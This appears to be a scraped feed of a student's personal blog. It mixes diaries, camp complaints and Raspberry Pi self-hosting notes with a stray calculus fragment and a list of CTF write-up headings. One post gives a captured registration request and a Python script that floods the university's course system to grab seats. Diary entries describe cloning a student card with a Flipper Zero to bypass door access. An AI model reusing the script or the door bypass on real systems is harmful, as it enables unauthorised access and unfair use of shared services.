$\text{Hence, } P(t) = 900 - 100e^{\frac{1}{2}t} = 0,e^{\frac{1}{2}t} = 9 ,t = 2ln\ 9$
(b)

$P(t) = 900 - Ce^{\frac{1}{2}t}$

$P(0) = 900 -C = p_{0}\ \Rightarrow P(t) = 900 - (900-p_0)e^{\frac{1}{2}t}$

$P(12) = 900 - (900-p_0)e^6 = 0 \Rightarrow p_0 = 900(1-e^{-6})$

The Bitter Truth About Summer Camp Staff

Fri, 17 Oct 2025 00:00:00 GMT

TL;DR

Before summer camp starts planning, they recruit a round of people. They’ll tell you: “The camp won’t take up too much of your time, and won’t affect your studies. About six hours per week. It won’t be too exhausting…” But once you’re in, you’ll find the reality is nowhere near what they promised during recruitment. The promised 6 hours becomes 12 hours, eventually becoming 12+ hours. Moreover, practice sessions start at night and can go until one or two in the morning.

Snake Dance

Basically a acrobatics performance. No dance background needed—it’s all physical work, requiring minimal musical talent (at least being able to hear the beat). Duration is about 5 minutes. Since it’s acrobatics and everyone’s just regular people, injuries from falls and exhaustion are very common during practice. The difficulty is high and requires everyone’s coordination. This is the most time-consuming activity. Basically it’s extremely exhausting—my stamina would give out before finishing.

Team Games

These practice sessions often start at midnight. Starting at midnight itself is weird—how are you supposed to attend classes the next day without proper sleep? I once took leave because my body wasn’t feeling well from the snake dance, and someone still murmured about it, just because the guitar club’s performance was the next day. That’s how the department ecology works.

Art Day

I only learned about this at the staff meeting. There’s no advance notice about how much art work you’ll do based on your group choice—shouldn’t that be a consideration when choosing groups? And before officially joining, there’s no briefing explaining each group’s work and time commitment. The only information I received was during Linear Algebra class, when the head coordinator suddenly told me: “It’ll probably only take six hours per week, not too exhausting. I think you can do it.” That’s all the information I had before joining.

Props

Art day means lots of crafts, but mainly RPG props. There are tons of them—about 100+ pieces—and any mistakes mean starting over. Those props are small cards used for checkpoint challenges. The art team designs the patterns first, prints them out, uses one copy as a template for coloring, and everyone else paints following the exact colors. They need to be identical—visually indistinguishable at least. After coloring, you cut out the pattern, remove the black borders, and glue them onto 9x9 cardstock. All that cardstock has to be cut from individual A4 sheets into 9x9 grids, then after gluing, hand-laminated with tape. So much work is manual—if any step goes wrong, that card is ruined and must be redone. This went on for about three weeks. Why “about”? ~~Because I stopped going after that~~.

All this hassle could actually be done with printing. When the guitar club laminated name tags for 30+ people, laminating only cost 160 bucks. Refusing to use machines just means everyone serves time together.

Prison Sessions

One session is 105 minutes. Depending on your group and activities, the number of sessions you need to fill per week varies:

Female camp counselors, RPG: 4
Everyone else: 3
Male camp counselors, Art team: no sessions required

See it now! It’s a prison sentence! Time commitment, excluding art and male camp counselors, is at least +5 hrs/week

Name Tags

Currently designed by the art team, made by the art team. There’s nothing wrong with the art team designing them, since those who can’t do art simply can’t design. But name tags need to be handcrafted after design, and after the event, those things are either already gray or sitting somewhere gathering dust. Handmaking those hard-to-cut, hard-to-glue designs is really unnecessary. Printing and laminating is more practical and won’t make everyone so exhausted.

Staff Fee

This was only formally disclosed when I was preparing to quit. This is very wrong. The fact that there’s a staff fee should be clearly explained before joining, not when someone is about to leave. ~~The old man Zhou told me it’s about 2000 per person~~. If I wasn’t leaving, would I only be informed about the staff fee after the camp ended? It’s fine to charge, but it should be clearly explained before joining—this is a major consideration for whether to join or not. Fees shouldn’t be collected only when someone quits or after the event.

Also, this camp activity has no recruitment briefing—just a staff meeting after adding people to divide responsibilities. All information is only learned through actual practice. Of course, review dates are announced in advance, but not the times! Meaning you need to keep your entire day free for it—this is also unreasonable.

Anyway, camp is full of these kinds of unreasonable situations, so I quit recently. I’m still in the process of coordinating with the head coordinator, but I’m definitely leaving. But if you’re a freshman, go ahead and join—the camp itself is actually pretty fun.

Self-Hosting Services on Raspberry Pi 5

Wed, 15 Oct 2025 00:00:00 GMT

A few days ago, Each’s server had some issues, which made me suddenly feel like my stuff should be on my own. Then I went wild, hosting quite a few things. ~~Another big坑 dug out~~

Equipment

I don’t have a spare computer at home, since I use my laptop for classes every day and can’t heavily modify it. So the best choice was the Raspberry Pi. I initially thought it might struggle or overheat, but so far it seems to be holding up fine.

Warn: Under-Voltage

The Raspberry Pi requires 5V/5A. The dormitory provides 1A and 2.1A charging ports, but every time I try to start the Minecraft server, it’s a test of luck. Because the power isn’t enough, the Raspberry Pi shuts itself down about half the time when starting. It won’t reboot—it just stays off. This really frustrated me. If I’m trying to remotely start a service and it shuts down, I’d have to go back to the dorm to rescue it. Later, I went home and grabbed a phone charger. It’s not 5V/5A either, so the under voltage warning pops up regularly, but at least it doesn’t shut down directly.

Little Pi’s Home

When I first got it, I was deciding whether to buy a case, and the conclusion was: “Why not build my own?”
So I took out all the Legos at home and found the best candidate was my first Lego set—the Pizza Shop

All materials basically came from it. Look closely and you’ll notice the roofs are identical. After a major renovation of the Pizza Shop, it’s the state you see now. But this case’s drawback is poor heat dissipation—even with heatsinks, the temperature reaches 70 degrees during operation.

How to Get Started with Raspberry Pi

When you first get a Raspberry Pi, you need storage to hold its OS. I used a microSD card. Then go to their official website, download the image based on your host OS. While installing, you can eat, watch shows, or play games—it takes about an hour, ~~though it might be my card’s read/write speed~~. Next, you face a big problem: Pi5 only supports microHDMI. Without that cable, it’s a pain. I simply connected via SSH, but the machine just booted and I don’t know its IP. Even using ip nei, I’d still have to try every device on my network. After connecting, I used the CLI to enable VNC server. If I had that cable, I could’ve saved two hours.

What Did I Host?

AFFiNE

This was the first server I set up. It’s a feature-rich note-taking software—open source and free. What I use it for includes markdown, LaTeX, even Miro ( whiteboard), which looks similar to iOS’s version. Plus it works on all platforms—there’s an app and web version. It can sync data across all devices, making it very convenient for reading.

Syncthing

Syncthing does exactly what its name suggests—syncs files. Because the setup and installation are a bit tricky, it’s better to use it yourself. Mainly, having this means I can sync files to the server without dumping things on big platforms and being limited by file sizes. But without proper security measures, exposing it to the external network is dangerous. It has a login interface, but I don’t know how to use it, so I use internal network penetration instead.

Immich

It’s an open-source cloud photo album service, looking very similar to Google Photos. The advantage of self-hosting is not having to put my album on Google or iCloud, being limited by storage and paying them. Self-hosted means unlimited storage, depending on how big a hard drive you buy. But during setup, because of insufficient power supply, the HDD’s motor couldn’t run, so the hard drive’s super block got corrupted. So don’t use an HDD under voltage conditions—the data will get corrupted and you can only recover part of it. Power supply needs to be at least 20 watts (I’m currently using 20 watts, hasn’t failed yet)

Docker

This is a powerful container, but right now I only know how to use it—I haven’t learned anything advanced yet, so I can’t write much about it. All the services above are running on it.　　

Cloudflare Tunnel

This is how I expose services to the external network. Create a tunnel to Cloudflare, write config files locally to route, then set up DNS in the Cloudflare dashboard. But the prerequisite is having your own domain—if not, use internal network penetration instead.

New Members Event Can't Accomplish Big Things

Thu, 02 Oct 2025 00:00:00 GMT

This is an activity from the guitar club. Finished it with such a sense of accomplishment!

Preparations

Honestly, I hardly did anything because our art and design senior took care of everything. This time I could just lie down—I’m not good at designing things, and I know nothing about digital drawing either. So I could only be the errand runner: buying materials, printing name tags, setting up the canopy. I memorized the school’s unified business number from all the shopping trips. We mainly went to Nchu Bookstore and Xingwen Bookstore—the paper colors at both stores were different. To find the right colors, I来回跑了好几趟。After all that careful selection, the art skills weren’t up to par, so in the end it was: “They probably can’t tell, right? Won’t be discovered!” This time the name tags turned out great, ~~although two people filled out the form too late and their colors were different from everyone else~~. The lamination cost was way cheaper than I imagined—like, way way cheaper. So why doesn’t camp use printing instead of making everyone serve time together…

We originally planned three songs¹, but the camp’s loading was just too much, so we had to cut them… in the end only played “Lovers,” and we’ll definitely make up the rest next time. The broken chords in “Lovers” are super hard to play. At first, practicing left my hands sore—they’re all bar chords. The tab I played mainly references Bruno Fries and the Iron Man Teach You to Play, though some parts were modified. Modifying their tab is faster than starting from scratch. If I have time, I’ll transcribe the tab I’m playing.

New Members Event

The number of people who showed up shocked me—we ended up even spilling to the door. It looked like there were fifty or sixty people, almost double the amount at the guitar week event. First time performing in front of so many people—kind of nervous.

This time I was the snack manager at the snack cabinet, mainly responsible for distributing snacks. Simply put, I played the OS role. The purpose of an OS is to be Easy to use and Efficient to run, but our hardware only had two CPUs², so there were limits. During intermission, the audience launched a DDoS attack³ on us. Because the hardware buffer⁴ was insufficient and the CPU clock was too long⁵, we were Denial-of-Service’d in under a minute. The subsequent problem was that the ready queue still couldn’t be cleared, so they started chatting with us. This is when CPU time needed to be allocated—the same process can’t stay in there too long, so as to achieve a multi-user, multi-tasking environment.

Above is me having learned too much Operating Systems. If you don’t understand, open the plain language version.

Lovers

My head was too low during my solo—I looked dumb. {{< youtube id=“Q7WOF-nkwq0”>}}

Planet, What Does Love Look Like When It Grows, Lovers ↩
only two people ↩
Distributed Denial of Service attack, the goal is to overwhelm a target server, service, or network with abnormal traffic from multiple sources, exhausting its resources and ultimately causing website or service disruption. ↩
inconsistent loading speeds causing overall speed reduction ↩
loading too slowly ↩

Weekly Diary | 25/09/29

Mon, 29 Sep 2025 00:00:00 GMT

Week four of the semester. My mental state is basically the same as finals week…

Since the semester started, I’ve been leaving the dorm around 8am for class and coming back around 11pm-midnight. I’ve been going to so many activities. Even though I’m super busy, I still need to jot things down or I’ll forget what I did.

Men’s Dorm

I’ve been living in the old men’s dorm for a month now, and it’s really different from Er-Cun. There’s only one street with a few places to eat nearby — ~~though Nanmen Road is about the same~~. But since I’m usually too busy to eat around there anyway, it doesn’t matter much. The access system here is pretty lax — the card reader just reads the card number, so I usually use my Flipper to get in and out. That’s something I couldn’t do at Er-Cun. I only noticed a few days ago that the main gate closes after 12:30am, so you can only use the side door by the security booth. Luckily, someone was coming out from inside at that moment, otherwise I’d have had to use my Flipper in front of the security guard. As for my room in Xin-Zhai — I picked it because a double room was cheaper than Er-Cun’s quadruple. But the school installed new air conditioning this semester, then immediately raised the price, so now it’s actually more expensive than Er-Cun. Feel like I got scammed. As for my roommate, ~~I still don’t know his name~~ — just know he’s a senior from Mechanical Engineering year 4, knows how to build computers, and that’s about it. He’s always sleeping when I leave, and playing CS when I get back. The weird thing is, he never turns on the AC — whether it’s morning, noon, or afternoon, he only uses a fan. So I end up paying for the electricity myself.

Camp

By week four of camp training, I’ve pretty much numbbed out. Just hoping this ends soon. Because of this activity, I haven’t been able to read much — I mean the books I need to read for midterms, not my own books. Actually, so far besides Linear Algebra, everything’s just review stuff, nothing special. But since I took a lot of advanced courses this semester, I have a feeling there’s going to be too much to read. A lot of friends told me: “Just drop a class!” But dropping would mess things up with my own people, so I’ll just pray time goes fast and this ends soon.

Guitar Club

Still love this place, but after the performance in a few days, I need to pick the performance team. There’s no way I can do it this semester — if I take it, I’ll probably drop dead on the spot. These days I’ve been making name tags for everyone. That day, I was the only one at the club office punching holes and threading the lanyards. When I finished the holes and went to throw away the trash, I suddenly realized I don’t know how to open the club office door!!! There was no one else nearby, and I had to rush to camp. So I went to check the next door to see if I could get out — but by the time I walked over, I realized that door is also weird, you need a key just to exit. So I got trapped inside the club office. Eventually I did get out — basically played a room escape game.

Ad Time

Actually, that’s not the official poster, but I like this one better.

3D Printing Micro-General Ed

This is a class I almost forgot to attend. If someone hadn’t reminded me, I would’ve 100% skipped. This course only lasts three weeks, and if things go well, you can get a 3D printing certification afterward �� pretty good value. We haven’t gotten to the printing stage yet, but the class gives you 2.5 hours of free machine time. As long as your model prints within 2.5 hours, you can take it home for free. Once you get the certification, you can print Flipper cases, Pi housings, or even keyboards and mice — print your own stuff.

Random Talk

Recently I’ve been thinking about switching phones, but everything’s locked into iOS — many apps I just log into with Apple ID. This is part of Apple’s scheme: You have to keep using their products. From a marketing perspective, it’s super successful. But I’m a freebie user — YouTube Premium = Brave, even the OS is free. So obviously that doesn’t work for me. So I used Syncthing & KeePass to move my passwords out of Apple and sync the password database. But Apple’s UI is really well done, so I’m going to make my desktop environment look like Apple’s. It’s an Android phone running Linux, so there’s always a way ~~. I’ll write another blog once it’s done.~~

Also, I split my domain away from www, then redirected the root to it. This makes it easier to self-host services later — having your own stuff on your own server is more secure. I thought I could just use DNS to split the domain, but then I had to set up a Worker on the root to automatically redirect to www. It’s a bit abstract, but it works. Anyway, it’s all done now.

Next I’m planning to take off from Thursday to Monday to rest up. Though “rest” probably means studying — I mentioned earlier that I have this feeling there’s too much to read. Things are moving slowly because of all the activities, or maybe I’m just not used to using Affine to organize, but mainly everything’s new. Starting from scratch is tiring.

One last thought — our group of good friends, ever since sophomore year, everyone’s been busy with their own things. We used to hang out together every day, now we can’t even have a proper meal together once a week. Camp needs to end!!!

Weekly Diary | 25/09/19

Fri, 19 Sep 2025 00:00:00 GMT

Sophomore year is too eventful. If I don’t write it down… I’ll definitely forget how exciting my life was.

Southern Welcome Event

The department holds a welcome event for new students before enrollment—North, Central, and South each have one. This year’s participation was low, ~~probably because everyone thought the phone calls were scams.~~ Because of the lack of hands, the person in charge kept persuading me over dinner the night before. Plus I really wanted to surprise the two friends I hadn’t seen in a long time. After hesitating for a while, I finally paid for the ticket one minute before the booking deadline—a day trip to Tainan. To avoid being spotted, I hid at Shin Kong Mitsukoshi until the time came. At the meetup, the plan was a huge success: they: _ “What are you doing here!!!”_ The train fare was worth it. But in the end, we only took a photo at the station as a memento.

Eating Eating Eating

Before school started, I didn’t do much—just ate good food every day.

Yongxin Desserts

This place is on Zhongxiao Night Market near Taichung Road. It’s a bit of a walk from the dorm. But if you’re going there for dinner followed by dessert, it works out. The ice is good and affordable—but remember to save stomach space, or you’ll get too full.

Wool Waffle

This one is on the street opposite Nchu Road, ~~you need to discover a new continent before finding it~~. I ordered the Margherite—basically waffle with cheese on top. I’m not good at writing about food, don’t push me to write more—I just want to share nice food photos. Anyway, everything’s delicious (✪ω✪)

Ko-Jiro Curry Shop

The one I ate is at the Shenji New Village. There’s another branch near Taichung Park. This is the best curry I’ve ever had. Though a bit pricey, it’s really good.

Curry Soul Egg Kalihundan

In the alley on Nchu Road, unlimited rice refills! At night it becomes a bar, but I’m a sophomore and haven’t been yet.

Bonnie Sugar Handmade Dessert Shop

First time at a dessert shop, achievement unlocked! The food was delicious and great for photos, but the money flew away~

Summer Camp

No spoilers for now, or I’ll ruin it. But I actually already wrote about it—just commented it out. Think you can see it by going to the repo? No, I’ve locked it~ Speaking seriously, camp takes 12 hours a week, half of it at night. You basically don’t get enough sleep and are exhausted to death. Seriously, don’t be fooled into joining as staff.

Guitar Club

The guitar club is preparing for new member recruitment lately—practicing songs, making the banner. So busy. But busy in a happy way. Though everyone doesn’t know each other that well yet, they’re all ~~quirky~~ great to chat with. Need to give props to our art and design partner—super powered. Enough talk, here’s the banner!

New Member Event: 10/1 (Wed)
Location: NCHU Auditorium

Come watch me play solo!

Magical Research

LaTeX

Playing is playing, but I did get some work done too. Learned LaTeX the past few days. Digitized my notes and put them on AFFINE. Now I can view them anywhere, and they look better too. But recent classes haven’t been many, ~~probably because I only have 18 credits and don’t feel it.~~

Course Gangster

Not planning to release part 2 yet because the cookie problem isn’t solved—the school’s cookie is http-only. Might settle for manually copying from F12 next. As for the school’s course number dictionary, I heard the school has a public API, so shouldn’t be a big problem. Will post after testing next semester.

Flipper Zero NFC

Haven’t been carrying my student ID lately, ~~just use flipper to open doors anyway~~. The campus door access map is being drawn. Some doors only check card numbers, some have weird settings like AC POWER FAILURE, etc. Will post a map article later. The next goal is to open doors without copying cards. Once it’s done, will definitely open source—the information online is really scarce. Welcome anyone who wants to join to reach out.

Boom! Ranting About the Department

Sat, 13 Sep 2025 00:00:00 GMT

Since joining the department student association, I’ve found that the seniors are getting more and more… abstract. How should I put this? Is it because courses like Linear Algebra, Calculus, and Discrete Mathematics are too abstract, which has made all the seniors weird and strange?

Now I’ll take you through the various strange behaviors of these seniors! ~~Actually, I’m just calling them out one by one~~

Department Coordinator

Incident 1

When recruiting staff for the camp, they said it would take about six hours per week to practice, but the actual time spent on various activities has far exceeded that number. Just one activity alone requires six hours of practice per week, and no one is responsible for only one activity, so the accumulated time is definitely not negligible. Additionally, they didn’t inform candidates about the staff fee during recruitment. I only learned about this fee at the briefing session, and it was too late to withdraw by then. There’s been no further news since, so I won’t discuss it further. But this series of actions makes it feel like “lure people in first, deal with the consequences later.”

Incident 2

Regarding the “North, Central, South Welcoming Events,” they uploaded all the first-year students’ information to the department’s main group chat. No personal data protection whatsoever was implemented. Everyone in the group could download the file, which contained the mailing addresses and phone numbers of all first-year freshmen.

(The data has been blurred to protect personal information, keeping only student IDs to prove they are freshmen)

明明這種重要的事情，可以請負責人用學校的domain，寄一封信給全系大一的新生。學校的學生信箱很有規律，寫一隻 Python 就可以輕鬆解決。~~程式設計都白修了~~。一個一個打電話過去問，不僅浪費時間、沒有效率，還有很大的機會被當成詐騙，造成負責人的麻煩。如此，負責人也不需要大一新生的資料，他們的個資也不會有危險。

Abstract Seniors

One

I think he’s strange. He thinks we have problems but doesn’t come directly to us. Instead, he goes to the vice-department coordinators and asks them to relay the message. If there’s a problem, just say it directly instead of going around in circles. Moreover, we completely don’t understand what his issue is. His complaint was: “You should be polite to seniors, I think you’re not polite.” What I want to say is, what era are we in now? The senior-junior hierarchy system has become ridiculous, and we’re still demanding such things. We’ve said what needed to be said and done what needed to be done. Truly abstract.

Two

When taking a certain course, I encountered a senior who said: “This course is very hard to get into for juniors and seniors, why would a sophomore try to grab it?!” (with a weird expression). What I mean is, the school’s system is designed so that juniors and seniors get to select courses first. You have the power to queue up first but choose not to, and then come to complain during add-drop. Having no logic is one thing, but it’s also meaningless. With such illogical reasoning, it’s no wonder so many courses weren’t passed. ~~Even if you get into this course, you might not pass it anyway. Don’t waste this precious spot!~~

A Small Murmur from Being the Web Admin

In the short three months of being a web admin, I’ve noticed that a lot of posts are really unnecessary. Take the freshman tea party as an example: if you want to notify everyone about the freshman tea party, the best approach is email. As I mentioned earlier, everyone’s email in the department can be generated in seconds with a Python script. Using the school’s domain to send emails can avoid the risk of being mistaken for spam and won’t get filtered into the spam folder, so everyone can receive the message.

But the current approach is to post messages on closed platforms without open-source access and where you need an account to view content (don’t doubt it, Facebook and Instagram). How can anyone think this will ensure everyone receives the message? Why put important information you want to convey on the deep web? Even if many people use these platforms, if you don’t have an account, you won’t receive any news. This is extremely unfair to students who don’t use Instagram or Facebook.

Additionally, posts after events are also completely meaningless. If you’re only posting because previous years did it, then this tradition should be abolished. Nobody actually reads that post…

Everything that needed to be said has been said, and everything that needed to be criticized has been criticized. If someone says: “If you really dare to complain, why don’t you post on Instagram?” My response is: why would I rant on the deep web when I can do it on the public web?

NCHU Course Gangster - 1

Thu, 04 Sep 2025 00:00:00 GMT

Everyone’s selecting courses lately. My luck was particularly bad—couldn’t get a single general elective, and there were tons of courses that needed add-drop signatures…
So I made a small project with Each Chen. ~~Actually, it’s brute-force course registration~~

Tools

Kali Linux
Burpsuite (comes with Kali)

Open Burpsuite and intercept the POST requests from the school’s course registration system.

After our observation, every time the system performs a major action (add/drop courses), it issues a new cookie. So you need to bake a fresh cookie after each course operation. Also, the header doesn’t change during registration. Even if there’s a content-length field, it doesn’t seem to matter. ~~Experiments show that you can delete it directly and still register successfully~~.

The intercepted POST for course registration looks like this:

POST /cofsys/plsql/enro_nomo3_dml HTTP/1.1
Host: cportal.nchu.edu.tw
Cookie: DONT STEAL MY COOKIE　　#Copy this one, don't steal my cookie
Content-Length: 42      #Length of the last line
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://cportal.nchu.edu.tw
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Referer: https://cportal.nchu.edu.tw/cofsys/plsql/enro_nomo2_check
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

p_stud_no=your_student_id&v_tick=1057847751891  #Your student ID first, then the course number

Next, copy the curl command and we’re ready to put it in the oven~

The cookie is out, now put it in the oven. Paste what you copied into curl, write a Python script to send everything out, and you’re done!

Start the Heist!

Here I’ll get ChatGPT to help write it:

import requests

from concurrent.futures import ThreadPoolExecutor

cookies = {
    Paste your cookie here
}

headers = {
    Paste your headers here
}

data = {
    'p_stud_no'='StudentID'
    'v_tick'='Class Number' #Find it in the course registration system with F12
}

def send_request():
    try:
        response = requests.post(
            'https://cportal.nchu.edu.tw/cofsys/plsql/enro_nomo3_dml',
            headers=headers,
            cookies=cookies,
            data=data
        )
        print(f'Status: {response.status_code}, Length: {len(response.text)}')
    except Exception as e:
        print(f'Error: {e}')

# Set maximum 5 concurrent threads
with ThreadPoolExecutor(max_workers=5) as executor:
    # Send 10 requests
    futures = [executor.submit(send_request) for _ in range(10)]

    # Wait for all tasks to complete
    for future in futures:
        future.result()

Run this program and you’ll get the course you want. Assuming there are no time conflicts and you were originally eligible to take it (like courses not open to other departments—forcing a POST there will just make the server think you’re being unreasonable).

Reflections

While we discovered a method to directly send POST requests for course registration, currently it can only handle one course at a time, and you need to update the cookie after each submission. Trying to register two or more courses at once results in variables being wiped, ending up with only the last course. I’ll solve this problem next time.

This time we achieved only semi-automation. I’ll try to develop a fully automated solution during the next registration window. Currently, I’m thinking of using a shell script to grab the cookie and convert it to curl format to send directly to the server. This method is more universal, since not everyone knows how to use Kali. I’ll post “NCHU Course Gangster - 2” when it’s done. Good luck with your course selection!

Hello World

Sun, 31 Aug 2025 00:00:00 GMT

Hello World!!

This site was successfully created today, using Hugo and PaperMod. This success is thanks to my junior, who helped me set up everything. Without his help, this website would probably have taken another week to get online. Although I’ve successfully set up the site this time, there’s still a long way to go before I’m fully familiar with it.

Windson's Blog

USB "Resurrection" 2

1. Wipe and Rebuild Partition Table (Partitioning)

2. Format and Label (Formatting and Labeling)

3. Extract and Sync System Files (Data Extraction)

4. Deploy Bootloader (Bootloader Deployment)

5. Inject Persistence Kernel Parameters (Kernel Parameter Injection)

6. Force Sync and Safe Unmount

picoCTF 2026 Writeup

General Skills

Undo

MY GIT

bytemancy 0

bytemancy 1

bytemancy 2

bytemancy 3

Printer Shares

ping-cmd

ABSOLUTE NANO

Piece by Piece

SUDO MAKE ME A SANDWICH

Password Profiler

Multi Code

Web

Old Session

Hashgate

Reverse

Gatekeeper

Hidden Cipher 1

Pwn

Heap Havoc

Finding i1, i2 locations

Use gdb to set breakpoints and print actual locations

Echo Escape 1

Echo Escape 2

offset-cycle & offset-cycleV2

Quizploit

What to Do When You Lose Your Student ID?

Background Knowledge

Phone

Flipper Zero

NFC Maker + NFC Magic

Modify NFC File + NFC Magic

Accessible Doors Map

Weekly Diary | 26/03/15

Building Computer

New Tools

AI agent

Text Editor

Browser

Blokada

Events

SITCON Compass Plan

Guitar Club Performance Team

Department Karaoke Judge

USB "Resurrection"

Choosing an Operating System

Making a Live USB

Creating Persistence

Postscript

I Only Wear Toe Socks

At First It Was Just for Hiking

Once You Try It, You Can’t Go Back

Everyone Says It Looks Really “Weird”

I Only Wear Toe Socks

Self-Hosting VPN ── NetBird

Basic Setup Tutorial

Prerequisites

Step 1: Configure GCP Firewall

Step 2: Configure Cloudflare DNS

Step 3: Run Official Installation Script

Step 4: Connect

SCIST X SCAICT Joint Winter Camp

How I Found Out About This Event

After Attending, I Discovered…

These High School Kids Are All Better Than Me

What’s It Like Having Counselors and Other Participants Younger Than Me?1

What Did I Develop This Time

Footnotes

A Spontaneous Trip

What’s It Like Having Counselors and Other Participants Younger Than Me?¹